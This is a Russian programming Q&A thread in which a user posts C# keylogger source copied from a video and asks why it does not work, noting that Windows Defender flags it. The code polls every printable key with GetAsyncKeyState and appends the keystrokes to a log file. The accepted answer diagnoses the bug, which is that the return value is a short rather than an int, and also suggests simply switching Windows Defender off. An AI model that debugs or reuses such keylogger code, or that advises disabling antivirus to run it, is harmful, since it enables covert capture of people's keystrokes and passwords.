@stepuasha

Почему этот скрипт не работает?

Смотрел у одного дедка из Америки видос про создание кейлогера (исключительно в ознакомительных целях) и переписал его код:
using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;

namespace KeyLoggerDemo
{
    public partial class Program
    {
        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);

        //Хранение нажатой клавиши
        static string KeyLog = "";



        static void Main()
        {
            string filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            if (!Directory.Exists(filepath))
            {
                Directory.CreateDirectory(filepath);
            }

            string path = (filepath + @"\keyloggerlog.txt");
            if (!File.Exists(path))
            {
                using (StreamWriter sw = File.CreateText(path))
                {

                }
            }

            //1. Проверка и запись нажатых клавиш и их вывод на дисплей
            while (true)
            {
                Thread.Sleep(5);
                for (int i = 32; i < 127; i++)
                {
                    int KeyState = GetAsyncKeyState(i);
                    if (KeyState == -32767)
                    {
                        Console.WriteLine(i + ", ");

                        using (StreamWriter sw = File.AppendText(path))
                        {
                            sw.Write((char)i);
                        }

                    }
                }

            }
        }
    }
}

Стоит отметить, что прога вылетает не просто так, предварительно в правом нижнем углу вылезает защитник Windows и орет, мол эта штука использует какие то там интсрументы

UPD: Я внес прогу в список исключенный защитника винды и программа также не работает ! HELPPPP
UPD2: Я перенес это всё в цикл, и теперь просто 0 реакции
  • Вопрос задан
  • 81 просмотр
Решения вопроса 1
vabka
@vabka Куратор тега C#
Токсичный шарпист
GetAsyncKeyState возвращает не int, а short.
-32767 в int и short имеют разные значения на уровне битов - по тому условие никогда не срабатывает
Как мне кажется - проще будет сравнивать с нулём, а не с -32767.
Ну и есть ещё дополнительные причины, по которым эта функция всегда возвращает 0:

If the function succeeds, the return value specifies whether the key was pressed since the last call to GetAsyncKeyState, and whether the key is currently up or down. If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. However, you should not rely on this last behavior; for more information, see the Remarks.

The return value is zero for the following cases:
  • The current desktop is not the active desktop
  • The foreground thread belongs to another process and the desktop does not allow the hook or the journal record.


Стоит отметить, что прога вылетает не просто так, предварительно в правом нижнем углу вылезает защитник Windows и орет, мол эта штука использует какие то там интсрументы

Лучше напиши конкретно, что там за текст написан.
Вообще, раз уж ты пишешь кейлоггер, то защитник винды не просто так ругается :) - просто выключи его
Ответ написан
Комментировать
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы